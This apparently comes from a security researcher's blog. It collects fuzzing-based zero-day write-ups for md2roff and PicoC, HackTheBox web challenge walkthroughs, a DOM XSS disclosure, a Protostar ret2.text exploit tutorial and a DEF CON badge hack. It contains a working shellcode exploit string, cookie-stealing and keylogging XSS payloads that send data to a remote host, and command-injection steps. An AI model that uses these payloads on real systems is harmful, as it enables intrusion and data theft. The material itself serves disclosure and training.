Zero-Day Research: CVE-2022-41220 md2roff Version 1.9 Buffer Overflow

After multiple rounds of fuzz testing, I discovered that md2roff version 1.9 suffered from a stack buffer overflow vulnerability via a Markdown file containing a large number of consecutive characters to be processed.


To replicate the vulnerability, download a vulnerable version of md2roff (version 1.9):

git clone
cd md2roff
git checkout 9241b8cfeb687c57099f3ef45f03a8ad3f291cf4

Once the project is compiled, we can use md2roff to process a malicious markdown file (located here) to replicate a program crash:


Executing the previous command will result in a segfault:

segmentation fault  ./md2roff

Compiling the project with address sanitizer (ASAN) can assist in confirming the presence of a stack buffer overflow. To compile the project with ASAN we need to include the ‘-fsanitize=address’ option to the compiler flags (CFLAGS). The resulting Makefile should resemble the following:

#       GNU make

prefix  ?= /usr/local
bindir  ?= $(prefix)/bin
mandir  ?= $(prefix)/share/man
man1dir ?= $(mandir)/man1

LIBS   = -lc
CFLAGS = -std=c99 -fsanitize=address

all: md2roff md2roff.1.gz

md2roff: md2roff.c
        $(CC) $(CFLAGS) md2roff.c -o md2roff $(LDFLAGS) $(LIBS)

md2roff.1.gz: md2roff
        ./md2roff --synopsis-style=1 > md2roff.1
        -groff md2roff.1 -Tpdf -man -P -e > md2roff.1.pdf
        ./md2roff -z --synopsis-style=1 > md2roff.1
        gzip -f md2roff.1

install: md2roff md2roff.1.gz
        mkdir -p -m 0755 $(DESTDIR)$(bindir) $(DESTDIR)$(man1dir)
        install -m 0755 -s md2roff $(DESTDIR)$(bindir)
        install -m 0644 md2roff.1.gz $(DESTDIR)$(man1dir)

        rm -f $(DESTDIR)$(bindir)/md2roff $(DESTDIR)$(man1dir)/md2roff.1.gz

        rm -f *.o md2roff md2roff.1*

Once the project is compiled, we can feed our malicious markdown file to md2roff and observe the ‘stack-buffer-overflow’ error thrown by ASAN.

$ ./md2roff

==15685==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffedb68e230 at pc 0x55ab4ac56d64 bp 0x7ffedb68e020 sp 0x7ffedb68e018
WRITE of size 1 at 0x7ffedb68e230 thread T0
    #0 0x55ab4ac56d63 in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63)
    #1 0x55ab4ac598c0 in main (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x138c0)
    #2 0x7f589f446189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7f589f446244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x55ab4ac4d3a0 in _start (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x73a0)

Address 0x7ffedb68e230 is located in stack of thread T0 at offset 80 in frame
    #0 0x55ab4ac50d7e in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0xad7e)

  This frame has 6 object(s):
    [32, 40) 'tt' (line 724)
    [64, 80) 'num' (line 1140) <== Memory access at offset 80 overflows this variable
    [96, 352) 'secname' (line 662)
    [416, 672) 'appname' (line 662)
    [736, 992) 'appsec' (line 662)
    [1056, 1312) 'appdate' (line 662)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63) in md2roff
Shadow bytes around the buggy address:
  0x10005b6c9bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c30: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x10005b6c9c40: f8 f2 f2 f2 00 00[f2]f2 00 00 00 00 00 00 00 00
  0x10005b6c9c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c60: 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2
  0x10005b6c9c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10005b6c9c90: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc

Attaching GDB to md2roff (gdb ./md2roff) and executing the malicious markdown file reveals useful information that can be used to find the exact location of the overflow:

From the GDB output, the vulnerable source code can be traced back to the function void md2roff(const char *docname, const char *source) around lines 1387 through 1392. .

Vulnerable source code:

 else if ( isdigit(*p) ) { // ordered list
   char    num[16], *n;
   const char *pstub = p;

   n = num;
   while ( isdigit(*p) )
     *n ++ = *p ++;
   *n = '\0';

In addition to finding the vulnerable source code, we can observe that the return pointer was successfully overwritten by our malicious markdown file



Zero-Day Research: PicoC Version 3.2.2 Null Pointer Dereference (CVE-2022-34556) Speedrun

PicoC is a miniature code interpreter developed for C scripting. According to their documentation, PicoC was first written as the scripting language for a UAV’s on-board flight system. In this zero-day post we are going to speedrun the discovery of a null pointer dereference (CWE-476) denial of service (DoS) vulnerability in the PicoC interpreter. I discovered the vulnerability using AFL++ and notified the development team immediately. The DoS vulnerability affects PicoC up to version 3.2.2.


  • C Programming and Compilation 
  • Pointer Dereferencing
  • Basic Understanding of AFL++
  • Denial of Service Vulnerabilities

Disclosure and Disclaimer

The null pointer dereference vulnerability was responsibly disclosed to the PicoC development team. This post was intended for developers who are interested in keeping their applications secure and is for EDUCATIONAL PURPOSES ONLY. I do not condone illegal activity and cannot be held responsible for the misuse of this information.


Let’s get started…

Browse to the PicoC Source Code Directory

Point the Compiler Variable in the Makefile Towards ‘afl-clang-fast

Run the ‘Make’ Command to Build Our Executable

Creating Input/Output Directories and Input Files

Moving Our Input File to the Input Directory and Starting AFL-Fuzz

Scanning the Output For Crashes

Listing the ‘output/default/crashes’ Directory

After opening the crash files we find an interesting crash input:


Replicating the Crash With GDB and Verifying the Null Pointer Dereference

Speedrun Complete

Zero-Day Research: md2roff Version 1.7 Buffer Overflow (CVE-2022-34913)

The best part about security research is the myriad of ways you can find bugs. Sometimes bugs present themselves through diligent research and planning over decades, some bugs demand deep thinking and well-positioned tools, and other times you throw your water bottle at the keyboard and something unexpected happens. Finding the buffer overflow vulnerability in md2roff version 1.7 was somewhat of a combination of these tactics.

Even though buffer overflows are slowly dwindling due to compiler and CPU enhancements, they are still very common in programs written in C and C++. In this post, we are going to step through the process of how I discovered a buffer overflow zero-day in the md2roff tool using AFL++ (American Fuzzy Lop).


  • Basic C Programming and Compilation
  • Basic Linux Command Line Tools
  • Basic Understanding of Buffer Overflows
  • Basic Understanding of the Stack and Heap
  • Basic Understanding of Fuzzers

Disclosure and Disclaimer

The buffer overflow vulnerability was responsibly disclosed to the md2roff security team. This post was intended for developers who are interested in keeping their applications secure and is for EDUCATIONAL PURPOSES ONLY. I do not condone illegal activity and cannot be held responsible for the misuse of this information.


Let’s start with a brief introduction on AFL++. At its core, AFL++ is a fuzzer that generates (mostly) random input based on an initial test case given to it by a user. The randomly generated input is subsequently fed into a target software program. As AFL++ learns more about the program, it mutates the input to better identify bugs with the goal of crashing the program by making it exhibit unexpected behavior. I would highly recommend checking out their Github for more details on exactly how this works. The entire process from compiling a target using AFL++ instrumentation to inciting a crash can be seen below:

AFL++ is the successor to AFL, which was originally developed by Michał Zalewski at Google. This quick overview is quite an oversimplification of what AFL++ does. The important bits of information required to get started with AFL++ are compilation using instrumentation, creating inputs, fuzzing the program, and triaging crashes.

If you are running Kali Linux, AFL++ can be installed using the APT package manager.

Once AFL++ is installed, the process of fuzzing a binary becomes unbelievably simple. We only need to complete a few steps to get AFL++ started.

Compile the Program Using ‘afl-clang-fast

I downloaded the md2roff tool from GitHub onto my local machine and browsed to the folder containing the source code and Makefile. Like any other C/C++ code, we have to compile the program to produce an executable. AFL++ includes a special clang compiler used for instrumentation. Instrumentation is the process of adding code, variables, and symbols to the program to help AFL++ better identify the program flow and produce a crash. Typically the $(CC) variable is used in Makefiles to specify which compiler to use. Let’s point the ‘CC’ environmental variable to the location of our ‘afl-clang-fast’ compiler. Once we have verified this variable is set, we can run the ‘make’ command to compile the source code.

Creating Input and Output Directories

AFL++ requires two folders before it can get started. The first folder will contain our sample input, and the second will be an output directory where AFL++ will write the fuzzing results.

Our input folder needs to contain a test case that will be utilized and modified by AFL++. If we want to fuzz md2roff’s markdown processing functionality, our input directory must have a sample markdown file with primitive contents. This file serves as a ‘base case’ of what program input should resemble.

Once we have verified our sample input we can start AFL++ by using the ‘afl-fuzz’ command:

  • afl-fuzz– The AFL++ command used to fuzz a binary
  • -i input– The input directory containing our base case
  • -o output– The output directory that AFL++ will write our results to
  • ./md2roff- The name of the program we want to start with any applicable flags.
  • @@– This syntax tells AFL++ that the input is coming from a file instead of stdin

AFL++ Fuzzing

Once AFL++ has initialized, it will continue fuzzing the program with mutated input until you decide to stop it.

The important sections from the interface are ‘saved crashes’ and ‘exec speed’. ‘Exec Speed’ will show us how fast AFL++ is able to generate new input and fuzz the program. ‘Saved Crashes’ shows us the number of unique crashes the fuzzer was able produce.

It looks like AFL++ discovered a few crashes! Let’s investigate the input that was used to produce the crash. The output/default/crashes directory will contain a file for each unique crash that was generated.

There are plenty of crashes in the output folder to triage. Let’s take a look inside one of them:

It seems like one of the files that produced a crash was a massive buffer of ‘1’s.

Reproducing the Crash

To recreate the crash I created a markdown document with identical input to the crash file seen in the output/default/crashes directory:

I proceeded to execute the program and use the markdown file as input:

It looks like the program segfaults when trying to process our large buffer of ‘1’s. At a minimum, we have a denial of service condition. If the program is executed as a server or started as a service we could provide malicious input and force the program to crash for every user accessing the service. We can attach GDB to our program and run md2roff a second time to see if we have altered the control flow and overwritten the return address.

Success! The stack was successfully smashed by our buffer of ‘1’s. From this point forward we could put together an exploit using a binary exploitation technique such as ret2libc or ROP chaining.


Preventing buffer overflows can be achieved by replacing dangerous C functions, such as strcpy() and gets(), with newer implementations like strncpy() and fgets() that specify how many bytes should be read into the buffer.

For example, the following code is vulnerable because the user input could be significantly larger than the available buffer space:

char buf[50];
strcpy(buf, userinput);

The following code snippet is an example of how to securely copy data using strncpy(). Instead of reading an undefined amount of bytes into ‘buf’, we can limit the copy operation to the size of our buffer:

char buf[50];
strncpy(buf, userinput, 50);

HackTheBox: Baby Todo or Not Todo Challenge

Practice can be quite a double-edged sword. Most of us know that creating long-term behaviors and skills only comes through the reinforcement of those skills through practice. We often spend too little time thinking about how we practice and which behaviors are being reinforced during our practice sessions. For us to become good at analyzing web applications we have to practice not only the ‘hacking’ portion of the exercise but also how we deal with frustration and other negative emotions in the process. I was presented with a great opportunity to practice all of these skills in the ‘Baby Todo or Not Todo’ web challenge from hackthebox. Let’s take a crack at this challenge.

Browsing the Website

With most challenges, I start by using the application as an average consumer would. I click all of the buttons and explore all of the pages to see what functionality is made available to me. Being patient in this phase is key, and we must allow ourselves enough time to get a good understanding of the application without feeling rushed to find vulnerabilities. Without a doubt, the vulnerabilities will present themselves as we explore the terrain.

Analyzing the Source Code

There doesn’t seem to be a whole lot of functionality packed into this application. It looks like a simple ‘to-do list’ that allows you to add and delete tasks. If we take a moment to do some critical thinking we conclude that there must be some mechanism in the background that is enabling the application to keep track of each ‘to-do list’ on a per client basis. This suspicion is confirmed if we browse the website from another browser or private window because we are presented with a fresh ‘to-do list’ every time. Our next step is to take a look at the web page source in our browser to see if we can glean more information about the page.

Looking at the page source, we find a script that contains the following code:

// don't use getstatus('all') until we get the verify_integrity() patched
const update = () => getTasks('user4f375000')
setInterval(update, 3000)

Command breakdown

The first line defines an update function that will get the tasks for the specified user, which we can assume is a randomly generated user name for each client that connects to the web page. We can confirm this by connecting to the page from another browser or private window and view the user value defined in this script.

const update = () => getTasks('user4f375000')

The second line calls the update function previously defined. Once this function is called it will retrieve all the tasks for the defined user.


The last line will define an update interval. In this case, the update function will be called every 3 seconds (3000 milliseconds).

setInterval(update, 3000)

The comment at the beginning of the script is quite interesting. It seems to imply that there is a vulnerability in the verify_integrity() function that will allow a user to retrieve more information than they should be allowed to. For now, we will keep that comment in the back of our mind and explore the main.js script to understand the inner workings of the getTasks() function.

Looking at the source of this function, we can confirm that ‘getTasks’ is making a request to the API at ‘/api/list/${endpoint}/’ to retrieve our tasks. The request also passes a secret which is used to verify the integrity of the request.


Dynamic Analysis Solution

Let’s review what we know so far:

  1. This application is a to-do list that stores entries on a per-user basis.
  2. There is an update function that runs every 3 seconds to populate the tasks from the backend database.
  3. The update/getTasks functions include a secret in the request to access the tasks for the specified user from the API.

Let’s spin up Burp Suite and see if we can capture the update request that happens every 3 seconds.

If we dig through our memory and think about the ‘getTasks’ function for one moment we remember the following notation.


The ‘${endpoint}’ portion of the URL seems to imply that there are other endpoints that can be used. This is similar to the end of the request where we know the ‘${secret}’ portion means that the secret will change per user. Why not guess and see what other endpoints are available? Wfuzz is the perfect tool for this because we can guess the ‘${endpoint}’ portion of the request (while leaving everything else in the request the same) to see if there are any other endpoints that we can access with our secret. When we intercepted our request in Burp Suite we noticed that there was a cookie bundled with the request. We should make sure to include that cookie when we make a request with Wfuzz.

wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt -u -H "Cookie: session=eyJhdXRoZW50aWNhdGlvbiI6InVzZXJBRWViMTE2RiJ9.YUuLGg.8hb4Rle7WzIlDcAQzwrJKgVauzY" --hh 24

Command breakdown:

  • A wordlist of common API names from SecLists to use for guessing.
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
  • The URL we want to use for our requests. The ‘FUZZ’ portion of the URL will be replaced with the API names from the wordlist we chose. We include our secret just like the request we captured from burp.
  • We need to add our cookie to ensure the webserver doesn’t deny our requests.
-H "Cookie: session=eyJhdXRoZW50aWNhdGlvbiI6InVzZXJBRWViMTE2RiJ9.YUuLGg.8hb4Rle7WzIlDcAQzwrJKgVauzY"
  • A normal failed response contains 24 characters. We can verify this by omitting the –hh flag the first time we run the command. We will see that every failed request has 24 characters. This flag will hide every request that contains 24 characters in the response. Alternatively, we could have hidden every response that returned an HTTP status code 403 (not allowed/forbidden) with the –hc flag. By eliminating all of the failed API requests we are left only with endpoints we can successfully access.
--hh 24

Looking at the results we see two endpoints available to us.

Static Analysis Solution

If we want to take a white box approach to solve the challenge we can peek at the source code of the webserver. The two files of interest are and

The web framework being used here is flask, which means the file contains all the routes for the application (read the flask documentation). Taking a glance at the code we see all the possible API routes, including ‘/list/all’ that will potentially dump all of the tasks in the database. There is also a comment that hints us towards the ‘verify_integrity’ function.

Reading through the source code we can summarize the verify_integrity function.

  1. check_secret() will verify that a valid secret was passed with the request
  2. check_integrity() will verify if the request has view arguments or contains JSON data. If it has view arguments or JSON data it will do further filtering on the data. If the request has neither of those two things it will do nothing and call the check_secret() function.

Based on this information we need to form a request that has no view arguments or JSON data with our secret embedded in the request. Repeating some of the steps from the dynamic analysis solution we can arrive at the same conclusion and request ‘/api/list/all’ with our captured secret attached.


Requesting ‘/api/list/all’ with our secret we find our flag with all ‘to-do’ items from every user in the database.

HackTheBox: Looking Glass Web Challenge

Today we will be walking through the ‘Looking Glass’ web challenge from HackTheBox. This specific challenge is quite simple but provides great insight into common web security flaws that you might find in custom-built applications. HackTheBox is an online platform that hosts various penetration testing challenges ranging anywhere from binary exploitation, web security, Windows Active Directory, Internet of Things, and much more.

Browsing the Website

Once we deploy the challenge we are presented with a basic web page that allows the user to run a ping or traceroute command against an IP.

Static Analysis

We can do some basic static analysis by viewing the page source.

There doesn’t seem to be anything interesting going on. We can move on to dynamic analysis from here.

Dynamic Analysis

Let’s do some dynamic analysis by clicking the ‘Test’ button on the web page and intercept the request with burp.

This challenge screams OS command injection. The page simply sends the parameters from the form to the server and (likely) runs the ping or traceroute binary on the file system with the parameters from the POST request. There is probably some PHP code in the background that resembles the following:

system("traceroute $ip");

This would result in the following Linux command being run:


If you are not familiar with OS command injection I would highly suggest reading the official OWASP article about it. For this challenge, we can add a semicolon behind the IP in the ‘ip_address’ POST parameter and run extra commands to find the flag. Let’s start with a simple ‘ls’ command (don’t forget to URL encode the parameter).

//URL Encoded payload

It worked! We can see the file index.php listed in the results box. Let’s list the contents of the root directory and see what files exist on the file system.

It looks like the flag is in the root directory. We can view the contents of that file and and complete our challenge.

2020 Quarantine CTF

In honor of social distancing, I will be hosting a remote quarantine CTF Thursday, April 2nd, 2020 from 6:00-9:00 PST. The CTF is completely free and presents five different web application security challenges. You can easily register here to secure your spot!


Any way that you can find the flag is valid in my book. That being said, I do have a few requests:

  • Brute forcing passwords is not the intended route for any of the boxes.
  • CTFD is the framework that’s being used to host the CTF so there is a scoreboard, flag submission, etc.
  • Fuzzing is definitely in scope, but please be mindful of how many requests are being sent every second. I’m not sure how much CTFD’s infrastructure can handle.
  • If you find an unintentional bug (I’m sure there are plenty), kudos! I would love to hear about it once I post the solutions/containers after the CTF has ended.
  • Overall, I would consider the CTF to be focused on beginner-level web exploitation techniques. There are however some slightly harder challenges.
  • The objective of the CTF is to have fun and give everyone constructive things to do while we are all stuck at home.

Zero-Day Research: Mechanical Keyboard Finder Version 4.31


In this edition of Zero-Day Research, I happen to come across a DOM-based Cross Site Scripting Vulnerability in ‘Mechanical Keyboard’s (MK’s) Famous Mechanical Keyboard Finder (Version 4.31)’ and helped their team verify the issue upon request. I have to give lots of kudos to the awesome security team at MK. They quickly responded and patched the issue within a day of disclosure. If more vendors were as serious as MK about security, our nation’s overall cyber posture would be in much better shape. MK is an industry-leading mechanical keyboard vendor with unique varieties of mechanical keyboards for sale. You can check them out here.

Disclosure and Disclaimer

The Cross Site Scripting vulnerability was responsibly disclosed and verified (upon request) to the MK security team. This post was intended for web developers who are interested in keeping their applications secure and is for EDUCATIONAL PURPOSES ONLY. I do not condone illegal activity and cannot be held responsible for the misuse of this information.

Cross Site Scripting

Cross-Site Scripting (XSS) is a common web vulnerability that allows an attacker to inject malicious javascript into normal websites. XSS is a client-side attack, where the end-user connecting to the application is the victim. This enables attackers to steal credentials, hijack accounts, access sensitive data, and much more. For more information on cross-site scripting, PortSwigger has fantastic in-depth articlesexplaining the different types of XSS and how they can impact end-users.


OWASP refers to DOM Based XSS as “an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment”. The DOM in this context is the “Document Object Model”, or the tree structure and programming interface that is used to construct HTML web pages:


DOM-based XSS can be more difficult to discover than other forms of XSS because it requires a detailed review of how and where the user input is stored within the DOM. Context is the most important aspect when searching for DOM XSS because the location where user input is stored will almost certainly be different in each scenario and application.

Identifying the Vulnerability

The overall process for identifying DOM XSS bugs is simple:

  1. See if the application stores user input somewhere in the DOM
  2. See if the application filters certain characters or sanitizes the input. If the application sanitizes user input using techniques like HTML or javascript encoding, DOM XSS might not exist in the application.
  3. If the application stores user input without sanitization, you can guarantee some extent of XSS is possible. Even with a Web Application Firewall (WAF) in play, there is an infinite amount of XSS filter bypasses that can be applied to the payload. Only upon request with full permission from the vendor should you every POC (or verify) the vulnerability on a live application. Given that we have permission to verify, we can then start crafting an attack based on where the input is stored in the DOM.

Let’s start with a basic request like so:


We can then search for our unique ‘xss’ term in the DOM after the request has been made:

  • In Firefox (or any browser), right-click on the results page and select ‘View Page Source’:
  • On the HTML source page, select Control/Command+f the find a term

After verifying the location and presence of our search term in the DOM we can add a few special characters to the end of the term like so:


Repeating the previous few steps we can verify if our new search term is stored in the DOM without being converted to an HTML entity. A basic list of basic HTML entities is shown below:


In this particular situation, the special characters were not converted to HTML entities. That being said, we can close off the encompassing attribute or tag as a part of our search term and effectively add our code to the DOM.

Payload Crafting

In this context we want to craft a payload that closes off the preceding h3 tag, continues to execute some code, and adds a trailing h3 tag to achieve a correct number of matching tags:

Sample payload:
</h3><img src=x onerror=prompt(document.domain)><h3>

This will cleanly close off the encompassing h3 tag and allow us to execute code that will pop up an alert to the screen with the name of the vulnerable domain:


It worked! 

Note: in scenarios where the application does some form of basic input sanitization searching for bad characters we could url encode our payload like so:

Sample payload encoded:

Taking it Further

This XSS bug not only modifies the DOM but is reflected in the URL. This means we could carry out the XSS attack by providing a simple link in a phishing campaign. Collecting user cookies at this point is trivial:

</h3><img src=x onerror=prompt(document.cookie)><h3>

Keylogging and shipping the data off to a remote server is also quite simple:

</h3><img src=x onerror=prompt'document.onkeypress=function(e){fetch(""+String.fromCharCode(e.which))},this.remove();'><h3>

From here the possibilities are endless. There are quite a few XSS payloads on the web. Some possible attack scenarios include:

  • Account Hijacking
  • Port Scanning
  • Spying/Keylogging
  • Browser Hooking with BeEF
  • Installing Backdoors/Malware


DOM XSS can be hard for automated scanners to find at times because of its dynamic nature. This type of bug is quite common across the Internet but can be prevented by treating all user input as malicious and sanitizing the data in question.

PHP (the language used by this site) offers useful functions to achieve sanitization, such as htmlspecialchars() and htmlentities(). These functions will automatically convert special characters to HTML entities. Most languages offer these types of libraries and functions to make sanitizing user input quite easy. One mistake developers make is attempting to implement filtering and sanitization using client-side controls. Each user has complete control over the client, rendering client-side sanitization efforts useless.


Proverbs 2:6-8
For the Lord gives wisdom; from his mouth come knowledge and understanding…

Return to .Text


In this article, we are going to quickly discuss a ROP technique called ‘return to .text’ (ret2.text). Before you proceed to learn about this slightly more advanced topic, I recommend becoming extremely familiar with the following prerequisites before moving on:

  • Exploiting Basic Buffer Overflows
  • Return Oriented Programming (ROP)
  • Return to LIBC
  • Python
  • Basic C Programming
  • Assembly
  • GNU Debugger (GDB)

Spotting the Vulnerability

The ret2.text technque is almost identical to the return to libc (ret2libc) technique, but can be utilized in scenarios where libc can’t be called directly from the stack. To demonstrate this, we will be going through Exploit educations’s Protostar Stack 7 challenge. For more information on how to download/setup the Protostar VM, reference the Protostar documentation. Let’s start by viewing the source code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);


 ret = __builtin_return_address(0);

 if((ret & 0xb0000000) == 0xb0000000) {
 printf("bzzzt (%p)", ret);

 printf("got path %s", buffer);
 return strdup(buffer);

int main(int argc, char **argv)



From viewing the code you can easily spot out where the vulnerability is:


The gets command will read the user’s input into ‘buffer’ without verifying the input length, allowing the user to send an input longer than 64 characters and overwrite data on the stack. However, a basic buffer overflow or ret2libc exploit will not work in this scenario as a result of the address filtering executed by the program, with libc being located at 0xb7e97000 and the stack located around 0xbffffb8c on this particular system:

 if((ret & 0xb0000000) == 0xb0000000) {
 printf("bzzzt (%p)", ret);

This is where we can utilize ret2.text to gain code execution. We might not be able to jump to libc or the stack directly, but we can jump to the .text section of the binary where we might find a ‘pop,pop,return’ gadget. We can then place the address of our shellcode on the stack so the ‘return’ portion in ‘pop,pop,return’ jumps to our shellcode. The overall exploit format will look like the following:

Initial_buffer + pop_pop_ret_address + pop_pop_junk + nopsled_addr + nopsled_with_shellcode

  • Initial_buffer- Buffer of random data used to overwrite the stack
  • pop_pop_ret_address- The address of our ‘pop,pop,ret’ gadget in the .text section. This will overwrite the EIP
  • pop_pop_junk- 8 bytes of junk that will be popped off the stack before returning
  • nopsled_addr- The address of our nop sled on the stack
  • nopsled_with_shellcode- The actual nop sled and shellcode to be executed

What we need to find:

  • The address of a ‘Pop, Pop, Return’ gadget in the .text section
  • The position in the initial buffer where the EIP is overwritten
  • Nopsled Address on the stack (or libc if DEP is enabled)

Replicating the crash and finding EIP offset

To replicate the crash I ran the following command in bash:

x=20; while true; do head -c $x /dev/zero | tr '\0' 'A' | ./stack6; if (($? == 139)); then break; fi; sleep 2; x=$((x+20)); echo $x; done

From here we can see that the crash happened somewhere between 80 and 100 bytes. Just to be safe we will generate a unique string 100 bytes long with msf-pattern_create:


By running the program again with the unique string we can verify the location of the EIP with msf-pattern_offset:


Finding a ‘POP, POP, Return’ Gadget

Once you transfer the stack7 binary over to your machine you can utilize msfelfscan (for example) to find a couple of ‘pop, pop, return’ gadgets for us. If you don’t have msfelfscan you can use Ropper to search for the gadgets. In addition, you can always verify which gadgets are actually in the .text section of the binary with Ghidra, objdump, IDA, etc, but fortunately for us, all of the gadgets msfelfscan provides are in the .text section. In this walkthrough, we will use the second address (0x08048492) msfelfscan provides us:


Finding our Shellcode and a Note About Data Execution Prevention (DEP)

The final step in this exploit is to find where our shellcode and NOP sled will reside on the stack. Fortunately for us, this binary doesn’t have DEP enabled. If DEP was enabled, however, we could simply jump to libc here instead of our shellcode directly and achieve the same results. To keep it simple let’s use GDB to find where our shellcode lands on the stack:


From the image, you can see the giant buffer of “\x41” bytes (“A” in ASCII), which is where we want to jump to. To play it safe, we will jump to the middle of this buffer at 0xbffffcdc.

Putting it all together

Going back to our initial overview of the exploit, let’s plug in the necessary information

  • Initial_buffer- 80 “A” characters
  • pop_pop_ret_address- 0x08048492
  • pop_pop_junk- “BBBBCCCC” (This is just junk top be popped off)
  • nopsled_addr- 0xbffffcdc
  • nopsled_with_shellcode- any x86 /bin/sh shellcode will work here. You can find lots of shellcode on Shell Storm

Conceptually, the overall exploit should resemble the following:

"A"*80 + 0x08048492 + "BBBBCCCC" + 0xbffffcdc + "NOP"*80 + Shellcode

Using this information we can send our exploit string to a file using the following command in python. Remember that the addresses are in little endian format. You can learn more about endianess here:

python -c'print "A"*80+"\x92\x84\x04\x08"+"BBBBCCCC"+"\xdc\xfc\xff\xbf"+"\x90"*80+"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > /tmp/test

Testing the Exploit in GDB

From here we can fire off our exploit in GDB to see if everything worked correctly:


It worked!! To run the exploit in GDB you can issue the following commands:

gdb /opt/protostar/bin/stack7

(gdb) r < /tmp/test


If you have experience using the ret2libc technique, ret2.text should be pretty easy to pull off. At the end of the day, it’s another technique in the toolbag you can use in your Capture the Flag and binary exploitation adventures.

The heart of the discerning acquires knowledge, for the ears of the wise seek it out. -Proverbs 18:15

Defcon 27: Hacking the Badge

What did we do?

We made modifications to the DEFCON27 Badge and turned it into a ‘Jackp0t’ badge that will complete other attendee’s badge challenge/trigger rick roll when held within a few inches of each other.

Click the image below to watch the video.


  • Josiah Bryan
  • Geancarlo Palavicini Jr
  • Nick Engmann

The Challenge

This year’s DEFCON Badge challenge involved social interactions with an RF Badge. A regular attendee is challenged to find and touch badges with 10 different badge types (including Sponsors, Vendors, Goons, and even Press). This becomes super challenging when you have to find one of the 20 individuals out of a 30,000 person conference with a Black “UBER” badge (an exciting but non-trivial task). It was much easier for us to figure out how to flash the DEFCON27 badge to do three things:

  1. Automatically complete the “touch 10 different badge types” challenge
  2. Easily help our fellow attendees by unlocking their badges with one that can act as a chameleon, emulating all other badge types.
  3. Profit ???

That’s what the Jackp0t badge does. It automatically puts you in a “COMPLETE” (or win) state on boot and emulates all the different badge types to complete other attendee’s badges in a matter of seconds.

Check out our demo video

How Did you Become a Village?

Quality Rick Roll

Required Hardware

Required Software

  • nxp MCUXpresso IDE 10.2.1
    • an IDE developed by NXP to use with the LPC-Link2. If you are flashing using the Black Magic Probe you won’t need this.
  • FRDM-KL27Z SDK 2.4.1
    • the SDK for interacting with the MKL27Z64VDA4 microcontroller with the MCUXpresso IDE.
  • GDB
    • Powerful GNU Project Debugger. Used to interact with the Black Magic Probe to flash images


In order to debug or flash your device, you’ll need one of the many ARM programmers available. We’ve confirmed two different ways to flash. One using the LPC-Link2 + Tag-Connect Cable and one using a Black Magic Probe + Tag-Connect Cable. Depending on your available hardware/software please reference the appropriate section.

LPC-Link2 Setup

  • Install the MCUXpresso IDE on a Windows Machine.
  • Install the SDK by dragging and dropping the SDK Zip file into the MCUXpresso IDE
  • Clone the Jackp0t repo.
$ git clone
  • Copy/Import the Jackp0t/dc27_badge folder into the MCUXpresso IDE.
  • Plug the Tag-Connect Cable into the LPC-Link2.
  • Attach the Tag-Connect Cable to the DEFCON27 Badge.
  • Click on the Flash Button to Flash the Board.

Black Magic Probe Setup

  • Download the jackp0t.bin binary
  • Install GDB
  • Plug in the Black Magic Probe into your computer via USB.
  • Update the firmware on the Black Magic Probe.We initially ran into a lot of issues with the default firmware on the Black Magic Probe. If you update the firmware using the master branch of the wiki, flashing the device was becomes far more consistent. Check out Ross’ instructions on how to upgrade the firmware on the Black Magic Probe:To update your black magic probe, clone the firmware repo from Github build it with make and then perform a DFU update on your probe with the following command:
    • sudo dfu-util -d 1d50:6018,:6017 -s 0x08002000:leave -D src/blackmagic.bin — Ross Schlaiker
  • Open up the arm toolchain.$ arm-none-eabi-gdb
  • Connect to the Black Magic Probe Device via GDB.
    • $ (gdb) target extended-remote <device> On OSX is /dev/cu.usbmodem <some ##>On Linux is /dev/ttyUSB0
  • Touch the Black Magic Probe + Tag-Connect to the SWD pins on the badge. 
  • Use the monitor swdp scan command to connect to the device using the Serial-Wire Debug Protocol.
    • $ (gdb) monitor swdp scan Output: Target voltage: 1.8V Available Targets: No. Att Driver 1 KL27x64 M0+ 2 Kinetis Recovery (MDM-AP)
